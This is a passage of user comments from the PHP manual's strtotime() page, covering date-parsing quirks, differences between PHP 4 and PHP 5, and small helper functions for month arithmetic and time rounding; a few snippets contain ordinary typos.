Assuming today is July 31, the timestamp returned by strtotime('February') will ultimately be seen as February 31 (non-existant obviously), which then is interpreted as March 3, thus giving a month name of March.

Interestingly, adding the year or the day will give you back the expected month.
nan at ladyslipperwebs dot com 12-Jul-2009 04:27
A great little function to see if dates chosen are more than three months apart and if they are, change the end date to three months from the begin date. This is easy to change.

<?php
function daysDifference($endDate, $startDate)
{
    $startTS = strtotime($startDate);
    $endTS = strtotime($endDate);
    $maxTS = strtotime($startDate.' + 3 months');
    if($endTS > $maxTS) {
          $endTS = $maxTS;
    }
    $endDate = date('Y-m-d', $endTS);
    return $endDate;
}
?>
Killermonk 25-Jun-2009 04:13
You are not restricted to the same date ranges when running PHP on a 64-bit machine. This is because you are using 64-bit integers instead of 32-bit integers (at least if your OS is smart enough to use 64-bit integers in a 64-bit OS)

The following code will produce difference output in 32 and 64 bit environments.

var_dump(strtotime('1000-01-30'));

32-bit PHP: bool(false)
64-bit PHP: int(-30607689600)

This is true for php 5.2.* and 5.3

Also, note that the anything about the year 10000 is not supported. It appears to use only the last digit in the year field. As such, the year 10000 is interpretted as the year 2000; 10086 as 2006, 13867 as 2007, etc
Merlin at silvercircle dot org 02-Jun-2009 01:52
I've noticed that 'first monday' and '1 monday' are not treated equally.

To get the 1st of june 2009 when searching for the first monday:

Use 'first monday' and start from june 0:

<?php
$time= strtotime("first monday ", mktime(0, 0, 0, 06, 0, 2009));
echo "first monday " . date("d-m-Y", $time) . "<br />";
?>

Or use '1 monday' and start from june 1:

<?php
$time= strtotime("1 monday ", mktime(0, 0, 0, 06, 1, 2009));
echo "1 monday " . date("d-m-Y", $time) . "<br />";
?>

Took me a long time to figure this out.
viper7 at viper-7 dot com 28-May-2009 03:42
Observed date formats that strtotime expects, it can be quite confusing, so hopefully this makes things a little clearer for some.

mm/dd/yyyy - 02/01/2003  - strtotime() returns : 1st February 2003
mm/dd/yy   - 02/01/03    - strtotime() returns : 1st February 2003
yyyy/mm/dd  - 2003/02/01 - strtotime() returns : 1st February 2003
dd-mm-yyyy - 01-02-2003  - strtotime() returns : 1st February 2003
yy-mm-dd   - 03-02-01    - strtotime() returns : 1st February 2003
yyyy-mm-dd - 2003-02-01  - strtotime() returns : 1st February 2003
PHP_Chimp 14-May-2009 06:08
A warning for those that think that their is only one way to interpret 2009 April 4th...PHP thinks otherwise.
<?php
            $test = "April 4th 2009";
            if (strtotime($test) === false) {
                echo "test == false <br />\n t = $test";
            }
            else {
                echo "test == true";
            }
?>
Works fine, with the American 'Month Day Year'.
<?php
            $test = "2009 April 4th";
            if (strtotime($test) === false) {
                echo "test == false <br />\n t = $test";
            }
            else {
                echo "test == true";
            }
?>
Will produce a false result. It seems that even with a 4 figure year that the American date format overrules the obviousness of 2009 April 4th.
dewi at dewimorgan dot com 02-Apr-2009 12:29
Fails for non-US dates where the ordering is uncertain, such as 01/02/2003 - parses this as Feb 1st, rather than Jan 2nd.

If you are parsing dates for a non-US locale, you can flip these elements of your date:

<?php
$y = $_POST['date'];
if (preg_match('/^\s*(\d\d?)[^\w](\d\d?)[^\w](\d{1,4}\s*$)/', $y, $match)) {
  $y = $match[2] . '/' . $match[1] . '/' . $match[3];
}
echo date('d # m # Y', strtotime($y));
?>

WARNING: Above only works for dates, and breaks for times: 12:30:01 will be converted to 30/12/01.

This absolutely ought to be a flag to strtotime(), either as a boolean "monthfirst" flag, or a boolean "respect my locale" flag. Since it isn't, kludge is needed.
Peter 30-Mar-2009 05:57
If you look for function to convert date from RSS pubDate, always make sure to check correct input format, found that for date("r") or "D, d M o G:i:s T" strtotime may return wrong result.
fuhrysteve at gmail dot com 21-Mar-2009 07:18
Here's a hack to make this work for MS SQL's datetime junk, since strtotime() has issues with fractional seconds.

<?php

$MSSQLdatetime = "Feb  7 2009 09:48:06:697PM";
$newDatetime = preg_replace('/:[0-9][0-9][0-9]/','',$MSSQLdatetime);
$time = strtotime($newDatetime);
echo $time."\n";

?>
CEO at CarPool2Camp dot org 12-Mar-2009 05:41
Another way to get the last day of a given month is to use date('t');
mohrt 27-Feb-2009 09:40
Just an FYI, the Pear Date package addresses many of the topics covered in the notes below (finding last day of month, start date of next week, etc.)
bbutts at stormcode dot net 25-Feb-2009 10:43
After looking around I couldn't find any code that would properly and simply compute the last day of the month.  +1 month will not work ex. 1 month after February 28th is March 3rd.

This line of code returns the last day of the current month:

<?php
echo 'Last day of the month: ' . date('m/d/y h:i a',(strtotime('next month',strtotime(date('m/01/y'))) - 1));
?>

It uses the first of the current month, gets the first of the next month, then subtracts 1 second to give you 11:59pm on the last day of the current month.

Hope this helps someone.
Zoe Blade 11-Feb-2009 08:40
Here's a revised version of [code I originally wrote on 21-JAN-09].  You can work out the number of days left in the month or year like this.  [This version] also works with arbitrary dates given to it rather than only working with the current date:

<?php
function days_left_in_month($isoDate) {
  $date = explode('-', $isoDate);
  $date[1]++;
  $date[1] = str_pad($date[1], 2, '0', STR_PAD_LEFT);

  if ($date[1] == '13') {
    $date[0]++;
    $date[1] = '01';
  }

  $date[2] = '01';
  $isoDateNextMonth = implode('-', $date);
  return ceil((strtotime($isoDateNextMonth) - strtotime($isoDate)) / 86400);
}

echo days_left_in_month('2009-01-31'); // Much better
?>

[EDIT BY danbrown AT php DOT net: Contains bugfixes by (akniep AT rayo DOT info) on 03-FEB-09 and the original author.]
akniep at rayo dot info 03-Feb-2009 08:37
The "+1 month" issue solved as in MySQL.
========================================
As noted in several comments, PHP's strtotime() solves the "+1 month" ("next month") issue on days that do not exist in the subsequent month differently than other implementations like for example MySQL.

// PHP:  2009-03-03
<?php
echo date( "Y-m-d", strtotime( "2009-01-31 +1 month" ) );
?>

// MySQL:  2009-02-28
<?php
SELECT DATE_ADD( '2009-01-31', INTERVAL 1 MONTH );
?>

========================================
If not for consistency with MySQL there are several reasons why one may need a PHP-function that calculates "+1 month" as MySQL does. Certainly, for various kinds of business logic it seems much more intuitiv to land on a date within the subsequent month rather than on a date within the next but one if you calculate "next month" ("+1 month").

The following function calculates a date X months in the future of a given date ($base_time).

<?php

/**
 * Calculates a date lying a given number of months in the future of a given date.
 * The results resemble the logic used in MySQL where '2009-01-31 +1 month' is '2009-02-28' rather than '2009-03-03' (like in PHP's strtotime).
 *
 * @author akniep
 * @since 2009-02-03
 * @param $base_time long, The timestamp used to calculate the returned value .
 * @param $months int, The number of months to jump to the future of the given $base_time.
 * @return long, The timestamp of the day $months months in the future of $base_time
 */
function get_x_months_to_the_future( $base_time = null, $months = 1 )
{
    if (is_null($base_time))
        $base_time = time();

    $x_months_to_the_future    = strtotime( "+" . $months . " months", $base_time );

    $month_before              = (int) date( "m", $base_time ) + 12 * (int) date( "Y", $base_time );
    $month_after               = (int) date( "m", $x_months_to_the_future ) + 12 * (int) date( "Y", $x_months_to_the_future );

    if ($month_after > $months + $month_before)
        $x_months_to_the_future = strtotime( date("Ym01His", $x_months_to_the_future) . " -1 day" );

    return $x_months_to_the_future;
} //get_x_months_to_the_future()

// Tests
// =======

// returns 2009-02-28
echo date( "Y-m-d H:i:s", get_x_months_to_the_future( strtotime( '2009-01-31' ) ) ), "\n";
// returns 2008-02-29
echo date( "Y-m-d H:i:s", get_x_months_to_the_future( strtotime( '2008-01-31' ) ) ), "\n";
// returns 2009-09-30 12:00:00
echo date( "Y-m-d H:i:s", get_x_months_to_the_future( strtotime( '2009-05-31 12:00:00' ), 4 ) ), "\n";

?>
joris dot landman at gmail dot com 29-Dec-2008 12:13
Possible UTC (GMT) version of strtotime()

<?php

function gmstrtotime($my_time_string) {
    return(strtotime($my_time_string . " UTC"));
}

?>

strtotime() assumes that anything you feed into it, uses the server's "relative" time zone.
By adding " UTC" to any input string, you make it "absolute".
will at mooloop dot com 15-Oct-2008 09:25
A simple way to work out someone's age in years:

<?php
$dob = '1984-09-04';
$age = date('Y') - date('Y', strtotime($dob));
if (date('md') < date('md', strtotime($dob))) {
    $age--;
}
?>
emperorshishire at gmail dot com 10-Oct-2008 09:26
Just a quick note on dealing with non-standard strings:
If you attempt to parse single, random letters, strtotime() will give you apparently random output.  Because strtotime() uses C's get_date() function, all dangling single letters are interpreted as military time zones.  So, for example:

<?php
echo date('r', time())."<br />\n";
echo date('r', strtotime('L'))."<br />\n";
echo date('r', strtotime('1999L'));
?>

will return:

Fri, 10 Oct 2008 12:12:28 -0400
Thu, 09 Oct 2008 21:12:28 -0400
Sat, 09 Oct 1999 21:12:28 -0400

when executed in the UTC -5 timezone, because "L" is defined as UTC+11.  J will return unix epoch, because it is not defined as a military time zone, while \t and \n both return the current time, as does a space.  All other single characters return unix epoch, because they are not defined.  The returned time is relative to the specified time, so the third example returns the current day and time in the year 1999, in timezone UTC +11.
orel16 at ya dot ru 25-Sep-2008 10:48
Some simple function to find all periods in dates list

<?php
function extract_periods($dates,$delimiter="="){
sort($dates);
$period=Array();
$date_from=$date_to="";
$k=0;
foreach ($dates as $key=>$value) {
 if (empty($date_from)) $date_from=$value;
 else {
  $k++;
  $tmp_date=strtotime("+ ".$k." day",strtotime($date_from));
  if (date("Y-m-d", $tmp_date)!=$value) {
   $tmp_date=strtotime("+ ".($k-1)." day",strtotime($date_from))
   $date_to=date("Y-m-d",$tmp_date);
   if ($date_from!=$date_to)
    $period[]=$date_from.$delimiter.$date_to;
   else
    $period[]=$date_from;
   $date_from=$value;
   $k=0;
  }
 }
}
return $period;
}

Use:

$dates = Array(
"2008-09-30",
"2008-09-28",
"2008-09-26",
"2008-09-27",
"2008-09-25");
$periods = extract_periods($dates);

foreach ($periods as $value)
echo $value."<br />";
?>

Output:

2008-09-25=2008-09-28
2008-09-30
orel16 at ya dot ru 12-Sep-2008 11:35
I'm find some simple way to find all days between a couple of dates
(Все дни между двумя датами):

<?php
$dt=Array("27.01.1985","12.09.2008");
$dates=Array();
$i=0;
while (strtotime($dt[1])>=strtotime("+".$i." day",strtotime($dt[0])))
$dates[]=date("Y-m-d",strtotime("+".$i++." day",strtotime($dt[0])));

foreach ($dates as $value) echo $value."<br />";
?>
raph 09-Sep-2008 02:39
A little function to add 2 time lenghts. Enjoy !

<?php
function AddPlayTime ($oldPlayTime, $PlayTimeToAdd) {

    $pieces = split(':', $oldPlayTime);
    $hours=$pieces[0];
    $hours=str_replace("00","12",$hours);
    $minutes=$pieces[1];
    $seconds=$pieces[2];
    $oldPlayTime=$hours.":".$minutes.":".$seconds;

    $pieces = split(':', $PlayTimeToAdd);
    $hours=$pieces[0];
    $hours=str_replace("00","12",$hours);
    $minutes=$pieces[1];
    $seconds=$pieces[2];

    $str = $str.$minutes." minute ".$seconds." second" ;
    $str = "01/01/2000 ".$oldPlayTime." am + ".$hours." hour ".$minutes." minute ".$seconds." second" ;

    // Avant PHP 5.1.0, vous devez comparer avec  -1, au lieu de false
    if (($timestamp = strtotime($str)) === false) {
        return false;
    } else {
        $sum=date('h:i:s', $timestamp);
        $pieces = split(':', $sum);
        $hours=$pieces[0];
        $hours=str_replace("12","00",$hours);
        $minutes=$pieces[1];
        $seconds=$pieces[2];
        $sum=$hours.":".$minutes.":".$seconds;

        return $sum;

    }
}

$firstTime="00:03:12";
$secondTime="02:04:34";

$sum=AddPlayTime($firstTime,$secondTime);
if ($sum!=false) {
    echo $firstTime." + ".$secondTime." === ".$sum;
}
else {
    echo "failed";
}
?>
pistachio 03-Sep-2008 08:50
Note that in some builds of PHP 5 doing the following may return unexpected results:

<?php

$server_date = date("Y-m-d"); // Assumed GMT 0
$timezone_offset = -10; // GMT -10

$date = date("Y-m-d", strtotime($server_date . " +" . $timezone_offset . " hours"));

echo $date; // prints 1969-12-31

?>

What it boils down to is the strtotime function accepting the time offset "+-10 hours", which confuses the function.  To be safe be sure to check signs for offset values, and only add the plus (+) sign for non-negative offsets.
Carl 02-Sep-2008 03:51
strtotime returns time() for any string that begins with "eat" (case insensitive):

<?php
var_dump(strtotime('10 September 2000'));             # int(968569200)
var_dump(strtotime('10 September 2000 asdfasdfasdf'));# bool(false)
var_dump(strtotime('asdfasdfasdf 10 September 2000'));# bool(false)
var_dump(strtotime('eat'));                           # int(1220358823)
var_dump(strtotime('eat asdfasdfasdf'));              # int(1220358823)
var_dump(strtotime('asdfasdf eat'));                  # bool(false)
?>

You'll notice that 'eat.*' will always be a valid timestamp, so just using strtotime($is_it_a_time) will return a false positive on "eat a sandwich"
php at info-svc dot com 21-Aug-2008 09:31
"5.1.0 Now issues the E_STRICT and E_NOTICE time zone errors."

This little footnote represents a failure mode under common conditions, which is extremely frustrating.  For example, this code ALWAYS returns an error on PHP 5:

<?php
ini_set('error_reporting', E_ALL|E_STRICT);
echo strtotime('Sun, 20 Jul 2008 23:34:07 GMT', time());
?>

Notice a standard HTTP-date was specified, so the PHP timezone setting will never affect the value returned by strtotime().

There is no documented workaround, and the suggested methods including date_default_timezone_get will cause the same errors.  To make matters worse, those functions don't exist in older versions.

Based on my testing, it is necessary to provide PHP with a hard-coded timezone, any timezone at all, to prevent the error.  Since the timezone has no affect on the results, I could use 'UTC' or 'America/Detroit' or any other valid string.

<?php
if (function_exists('date_default_timezone_set')) {
    date_default_timezone_set('UTC');
}
echo strtotime('Sun, 20 Jul 2008 23:34:07 GMT', time());
?>

This is the only solution I have found so far.

Enjoy

Robert Chapin
Chapin Information Services
jaymin at gmx dot net 08-Aug-2008 06:48
strtotime() seems to treat dates delimited by slashes as m/d/y and dates delimited by dashes are treated as d-m-y.

<?php
print date('Y-m-d', strtotime("06/08/2008"));
?>

returns 2008-06-08

while

<?php
print date('Y-m-d', strtotime("06-08-2008"));
?>

returns 2008-08-06

Using PHP 5.2.6
rohanshenoy at w3hobbyist dot com 22-Jul-2008 05:56
This function can be used to convert the timestamp generated by MySQL NOW() function into UNIX timestamp. Example:

Lets say MySQL NOW() returns '2008-07-23 06:07:42'.

<?php
$mysql_now='2008-07-23 06:07:42';
$time=strtotime($mysql_now);
echo date(d M y, H:i:s,$time);
//outputs: 23 Jul 08, 06:07:42
?>

Please note that the timestamp returned by mysql NOW() function may be the in the timezone of the server on which it was generated, and not always in GMT.
enkrs 01-Jul-2008 12:48
It is worth noting, that strtotime() accepts ISO week date format (for example "2008-W27-2" is Tuesday of week 27 in 2008), so it can be easily used to get the date of a given week number.

<?php
function week($year, $week)
{
    $from = date("Y-m-d", strtotime("{$year}-W{$week}-1")); //Returns the date of monday in week
    $to = date("Y-m-d", strtotime("{$year}-W{$week}-7")); //Returns the date of sunday in week
    return "Week {$week} in {$year} is from {$from} to {$to}.";
}
echo week(2008,27);
//Returns: Week 27 in 2008 is from 2008-06-30 to 2008-07-06.
?>
Anonymous 24-Jun-2008 12:59
When using a custom timestamp and adding a day to it, this works:

<?php strtotime("20080601 +1 day"); ?>

this does not:

<?php strtotime("20080601") + strtotime("+1 day"); ?>

that's because "+1 day" is another way to say the timestamp corresponding to tomorrow as of right now.

If you do it the wrong way, you'll end up with really bizarre dates in your loops. I was going from 20080601 to 19101019 to 19490412. What fun it was figuring that out. :)
timstamp.co.uk 10-Jun-2008 08:31
When using DB2 as an ODBC database source, the timestamps returned are in format "YYYY-MM-DD HH:MM:SS.mmmmmm" (m being microseconds).

Given that strtotime($str) is only accurate down to the second, you need to remove the microseconds from the string for it to work in strtotime.
For example:
<?php
$date = "2008-06-10 16:15:50.123456"; //as returned by DB2 SQL
$date = substr($date, 0, 19); //chop off the last 7 characters
//thus
$date == 1213110950;
//and
date('Y-m-d H-i-s', $date) == "2008-06-10 16:15:50";
?>

Note that if you wish to preserve the microseconds, you will need to do so before you chop them off of the string, but you don't need to include them or even pad timestamps with zeros when inserting them back into DB2.
richard at happymango dot me dot uk 10-Jun-2008 03:41
If you want to round a timestamp to the closest specified increment, for example to the closest 15 minutes, then this function could help

Definition:
int roundTime ( string $increment[, int $timestamp] )

Parameters:
$increment is a string like you would for strtotime (but dont add a + or - to the front)
$timestamp (optional) the timestamp used to calculate the returned value.

Return Value:
returns timestamp

this function only works for increments less than or equal to an hour

Its not pretty but it works.

<?php

function roundTime($increment, $timestamp=0)
{
    if(!$timestamp) $timestamp = time();

    $increment = strtotime($increment, 1) - 1;
    $this_hour = strtotime(date("Y-m-d H:", strtotime("-1 Hour", $timestamp))."00:00");
    $next_hour = strtotime(date("Y-m-d H:", strtotime("+1 Hour", $timestamp))."00:00");

    $increments = array();
    $differences = array();

    for($i = $this_hour; $i <= $next_hour; $i += $increment)
    {
        $increments []= $i;
        $differences []= ($timestamp > $i)? $timestamp - $i : $i - $timestamp;
    }

    arsort($differences);

    $key = array_pop(array_keys($differences));

    return $increments[$key];
}

////////////
//EXAMPLE //
////////////

$result = roundtime("15 minutes");

echo date("H:i", time())." rounded to closest $increment is ".date("H:i", $result);

//11:24 rounded to closest 15 minutes is 11:30
?>

Here are two other functions. ceilTime() and floorTime() which round up or down to the specified increment respectively.

<?php
//RSS: 10/06/08 rounds a timestamp to the next specified increment
//only works for increments less than or equal to 1 hour
//EG: ceilTime("15 Minutes"); rounds the time right now to the next 15 minutes 11:12 rounds to 11:15
function ceilTime($increment, $timestamp=0)
{
    if(!$timestamp) $timestamp = time();

    $increment = strtotime($increment, 1) - 1;
    $this_hour = strtotime(date("Y-m-d H:", strtotime("-1 Hour", $timestamp))."00:00");
    $next_hour = strtotime(date("Y-m-d H:", strtotime("+1 Hour", $timestamp))."00:00");

    $increments = array();
    $differences = array();

    for($i = $this_hour; $i <= $next_hour; $i += $increment)
    {
        if($i > $timestamp) return $i;
    }
}

//RSS: 10/06/08 rounds a timestamp to the last specified increment
//only works for increments less than or equal to 1 hour
//EG: floorTime("15 Minutes"); rounds the time right now to the last 15 minutes 11:12 rounds to 11:00
function floorTime($increment, $timestamp=0)
{
    if(!$timestamp) $timestamp = time();

    $increment = strtotime($increment, 1) - 1;
    $this_hour = strtotime(date("Y-m-d H:", strtotime("-1 Hour", $timestamp))."00:00");
    $next_hour = strtotime(date("Y-m-d H:", strtotime("+1 Hour", $timestamp))."00:00");

    $increments = array();
    $differences = array();

    for($i = $next_hour; $i >= $this_hour; $i -= $increment)
    {
        if($i < $timestamp) return $i;
    }
}

?>
rtwolf at spymac dot com 31-May-2008 07:56
Someone already reported an issue with finding the next month on the 31st of a month goes to two months down (essentially the next month with 31 days). There's a workaround for PHP 5.3+ here:

http://bugs.php.net/bug.php?id=44073

If you don't have 5.3 like me (and I can't update it) this code works:

<?php

// On the 31st of May:
strtotime("+1 month"); // Outputs July

strtotime("+1 month", strtotime(date("F") . "1")); // Outputs June

?>

In Engish: Figure out next month relative to the first of this month (date ("F") returns current month).
php dot net at dubaifaqs dot com 09-May-2008 12:08
Booyah! $time containing only numeric and space characters results in unexpected output (at least on Win2K server, not checked with linux).

<?php

echo date('d F Y', strtotime('2007')); // today's date (09 May 2008) displayed
echo date('d F Y', strtotime('01 2007')); // Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970
echo date('d F Y', strtotime('01 01 2007')); // same warning
echo date('d F Y', strtotime('01 Jan 2007')); // 01 January 2007

?>

No bug report submitted, I don't know enough about php and servers to know if this is expected behaviour or not.
frank at crop-circle dot net 31-Jan-2008 01:15
I found some different behaviors between PHP 4 and PHP 5.  I have tested this on just two versions: PHP Version 5.2.3-1ubuntu6.3 and PHP Version 4.3.10-22.

Example 1:
<?php
$ts2 = strtotime("1st Thursday", $ts1)
var_dump($ts2)
// this works in PHP 4
// PHP 5 dumps bool(false)
?>

Example 2:
<?php
$ts2 = strtotime("first Thursday", $ts1)
var_dump($ts2)
// this works in PHP 4
// also works in PHP 5
?>
chris at cmbuckley dot co dot uk 21-Jan-2008 05:56
As with each of the time-related functions, and as mentioned in the time() notes, strtotime() is affected by the year 2038 bug on 32-bit systems:

<?php
    echo strtotime('13 Dec 1901 20:45:51'); // false
    echo strtotime('13 Dec 1901 20:45:52'); // -2147483648

    echo strtotime('19 Jan 2038 03:14:07'); // 2147483647
    echo strtotime('19 Jan 2038 03:14:08'); // false
?>
xini [at] gmx [dot] de 10-Dec-2007 08:21
Be careful with spaces between the "-" and the number in the argument, for some PHP-installations...

<?php
strtotime("- 1 day");  // ...with space - will ADD a day
strtotime("-1 day");  // ...works perfect
?>
andrew dot myers at civicwifi dot com 05-Dec-2007 10:42
Here is a list of differences between PHP 4 and PHP 5 that I have found
(specifically PHP 4.4.2 and PHP 5.2.3).

<?php

$ts_from_nothing = strtotime();
var_dump($ts_from_nothing);
// PHP 5
//    bool(false)
//    WARNING: Wrong parameter count...
// PHP 4
//    NULL
//    WARNING: Wrong parameter count...

// remember that unassigned variables evaluate to NULL
$ts_from_null = strtotime($null);
var_dump($ts_from_null)...
// PHP 5
//    bool(false)
//    throws a NOTICE: Undefined variable
// PHP 4
//    current time
//    NOTICE: Undefined variable $null...
//    NOTICE: Called with empty time parameter...

$ts_from_empty = strtotime("");
var_dump($ts_from_empty);
// PHP 5
//    bool(false)
// PHP 4
//    current time
//    NOTICE: Called with empty time parameter

$ts_from_bogus = strtotime("not a date");
var_dump($ts_from_bogus);
// PHP 5
//    bool(false)
// PHP 4
//    -1

?>
thalesjacobi at thalesjacobi dot net 06-Nov-2007 01:50
strtotime() reads the timestamp in en_US format if you want to change the date format with this number, you should previously know the format of the date you are trying to parse. Let's say you want to do this :

<?php strftime("%Y-%m-%d",strtotime("05/11/2007")); ?>

It will understand the date as 11th of may 2007, and not 5th of november 2007. In this case I would use:

<?php
$date = explode("/","05/11/2007");
strftime("%Y-%m-%d",mktime(0,0,0,$date[1],$date[0],$date[2]));
?>

Much reliable but you must know the date format before. You can use javascript to mask the date field and, if you have a calendar in your page, everything is done.

Thank you.
Beat 01-Oct-2007 01:36
Some surprisingly wrong results (php 5.2.0): date and time seem not coherent:

<?php
// Date: Default timezone     Europe/Berlin   (which is CET)
// date.timezone    no value
$basedate = strtotime("31 Dec 2007 23:59:59");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 23:59:59 WRONG

$basedate = strtotime("31 Dec 2007 23:59:59 CET");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 23:59:59 WRONG

$basedate = strtotime("31 Dec 2007 23:59:59 GMT");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 00:59:59 CORRECT

$basedate = strtotime("31 Dec 2007 22:59:59 GMT");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 23:59:59 WRONG AGAIN

$basedate = strtotime("31 Dec 2007 00:00:00 GMT");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 01:00:00 CORRECT

$basedate = strtotime("31 Dec 2007 00:00:00 CET");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 00:00:00 WRONG AGAIN

$basedate = strtotime("31 Dec 2007 00:00:01");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 00:00:01 WRONG AGAIN

?>

Here the workaround using mktime() properties on dates instead of strtotime(), and which seems to give correct results:

<?php
// check for equivalency
$basedate = strtotime("31 Dec 2007 23:59:59");
$timedate = mktime( 23, 59, 59, 1, 0, 2008 );
echo "$basedate $timedate ";         // 1199141999 1199141999 : SO THEY ARE EQUIVALENT

// workaround, as mktime knows to handle properly offseted dates:
$date1 = mktime( 23, 59, 59, 1 - 3, 0, 2008 );
echo date("j M Y H:i:s", $date1);  // 30 Sep 2007 23:59:59 CORRECT

?>
btherl at yahoo dot com dot au 02-Sep-2007 07:33
Another inconsistency between versions:

<?php
print date('Y-m-d H:i:s', strtotime('today')) . "\n";
print date('Y-m-d H:i:s', strtotime('now')) . "\n";
?>

In PHP 4.4.6, "today" and "now" are identical, meaning the current timestamp.

In PHP 5.1.4, "today" means midnight today, and "now" means the current timestamp.
ThomasK 19-Jul-2007 06:13
A major difference in behavior between PHP4x and newer 5.x versions is the handling of "illegal" dates: With PHP4, strtotime("2007/07/55") gave a valid result that could be used for further calculations.
This does not work anymore at PHP5.xx (here: 5.2.1), instead something like strtotime("$dayoffset_relative_to_today days","2007/07/19") is to be used.
olav dot morkrid at gmail dot com 07-Jul-2007 10:47
when using strtotime("wednesday"), you will get different results whether you ask before or after wednesday, since strtotime always looks ahead to the *next* weekday.

strtotime() does not seem to support forms like "this wednesday", "wednesday this week", etc.

the following function addresses this by always returns the same specific weekday (1st argument) within the *same* week as a particular date (2nd argument).

<?php
function weekday($day="", $now="") {

  $now = $now ? $now : "now";
  $day = $day ? $day : "now";

  $rel = date("N", strtotime($day)) - date("N");

  $time = strtotime("$rel days", strtotime($now));

  return date("Y-m-d", $time);

}
?>

example use:

weekday("wednesday"); // returns wednesday of this week
weekday("monday, "-1 week"); // return monday the in previous week

ps! the ? : statements are included because strtotime("") without gives 1 january 1970 rather than the current time which in my opinion would be more intuitive...
Ian Fieggen 30-Jun-2007 07:54
To calculate the last Friday in the current month, use strtotime() relative to the first day of next month:

<?php
$lastfriday=strtotime("last Friday",mktime(0,0,0,date("n")+1,1));
?>

If the current month is December, this capitalises on the fact that the mktime() function correctly accepts a month value of 13 as meaning January of the next year.
matt 31-May-2007 08:10
Note about strtotime() when trying to figure out the NEXT month...

strtotime('+1 months'), strtotime('next month'), and strtotime('month') all work fine in MOST circumstances...

But if you're on May 31 and try any of the above, you will find that 'next month' from May 31 is calculated as July instead of June....
alanna at dramatis-personae dot com 12-May-2007 08:41
One more difference between php 4 and 5 (don't know when they changed this) but the string 15 EST 5/12/2007 parses fine with strtotime in php 4, but returns the 1969 date in php 5.  You need to add :00 to make it 15:00 so php can tell those are hours.  There's no change in php 4 when you do this.
Alan Gruskoff 07-Apr-2007 06:31
This function inputs a date sting and outputs an integer that is the internal representation of days that spreadsheets use. Post this value into a cell, then format that cell as a Date.

<?php
function conv_to_xls_date($Date) {
// Returns the Excel/Calc internal date integer from either an ISO date YYYY-MM-DD or MM/DD/YYYY formats.
    return (int) (25569 + (strtotime("$Date 12:00:00") / 86400));
}
?>

example:

<?php
$Date = "04-07-2007";
$Days =  conv_to_xls_date($Date);
?>

$Days will contain 39179
02-Mar-2007 03:29
SQL datetime columns have a much wider range of allowed values than a UNIX timestamp, and therefore this function is not safe to use to convert a SQL datetime column to something usable in PHP4.  Year 9999 is the limit for MySQL, which obviously exceeds the UNIX timestamp's capacity for storage.  Also, dates before 1970 will cause the function to fail (at least in PHP4, don't know about 5+), so for example my boss' birthday of 1969-08-11 returned FALSE from this function.

[red. The function actually supports it since PHP 5.1, but you will need to use the new object oriented methods to use them. F.e:
<?php
$date = new DateTime('1969-08-11');
echo $date->format('m d Y');
?>
]
sean at awesomeplay dot com 09-Feb-2007 12:29
Regarding the "NET" thing, it's probably parsing it as a time-zone.  If you give strtotime any timezone string (like PST, EDT, etc.) it will return the time in that time-zone.

In any case, you shouldn't use strtotime to validate dates.  It can and will give incorrect results.  As just one shining example:

Date: 05/01/2007

To most Americans, that's May 1st, 2007.  To most Europeans, that's January 5th, 2007.  A site that needs to serve people around the globe cannot use strtotime to validate or even interpret dates.

The only correct way to parse a date is to mandate a format and check for that specific format (preg_match will make your life easy) or to use separate form fields for each component (which is basically the same thing as mandating a format).
LigH 16-Jan-2007 02:47
A hint not to misunderstand the second parameter:

The parameter "[, int now]" is only used for strings which describe a time difference to another timestamp.

It is not possible to use strtotime() to calculate a time difference by passing an absolute time string, and another timestamp to compare to!

Correct:

<?php
$day_before = strtotime("+1 day", $timestamp);
# result is a timestamp relative to another
?>

Wrong:

<?php
$diff = strtotime("2007-01-15 11:40:00", time());
# result it the timestamp for the date in the string;
# because the string contains an absolute date and time,
# the second parameter is ignored!
# instead, use:
$diff = time() - strtotime("2007-01-15 11:40:00");
?>
Bandit 06-Nov-2006 05:06
So I wanted a little function to output an easy to read but inaccurate date. I came up with the following (probably very inefficient) little function;

<?php
    function ezDate($d) {
        $ts = time() - strtotime(str_replace("-","/",$d));

        if($ts>31536000) $val = round($ts/31536000,0).' year';
        else if($ts>2419200) $val = round($ts/2419200,0).' month';
        else if($ts>604800) $val = round($ts/604800,0).' week';
        else if($ts>86400) $val = round($ts/86400,0).' day';
        else if($ts>3600) $val = round($ts/3600,0).' hour';
        else if($ts>60) $val = round($ts/60,0).' minute';
        else $val = $ts.' second';

        if($val>1) $val .= 's';
        return $val;
    }
?>

Then I use it as follows;

<?php
    echo ucwords(ezDate('2006-09-07 18:42:00')).' Ago';
?>

Which would output;

    2 Months Ago

I add an acronym tag around the output also, so my users can mouse-over for the exact date.

Hope it helps someone!
sgutauckis 05-Oct-2006 12:02
The following might produce something different than you might expect:
<?php
    echo date('l, F jS Y', strtotime("third wednesday", strtotime("2006-11-01"))) . "<br>";
    echo date('l, F jS Y', strtotime("third sunday", strtotime("2006-01-01")));
?>
Produces:
Wednesday, November 22nd 2006
Sunday, January 22nd 2006

The problem stems from strtotime when the requested day falls on the date passed to strtotime. If you look at your calendar you will see that they should return:

Wednesday, November 15th 2006
Sunday, January 15th 2006

Because the date falls on the day requested it skips that day.
shaver at qspeed dot com 11-Jan-2006 08:13
I'm posting these here as I believe these to be design changes, not bugs.

For those upgrading from PHP 4 to PHP 5 there are a number of things that are different about strtotime that I have NOT seen documented elsewhere, or at least not as clearly. I confirmed these with two separate fresh installations of PHP 4.4.1 and PHP 5.1.1.

1) Given that today is Tuesday: PHP4 "next tuesday" will return today. PHP5 "next tuesday" will actually return next tuesday as in "today +1week". Note that behavior has NOT changed for "last" and "this". For the string "last tuesday" both PHP4 and PHP5 would return "today -1week".  For the string "this tuesday" both PHP4 and PHP5 would return "today".

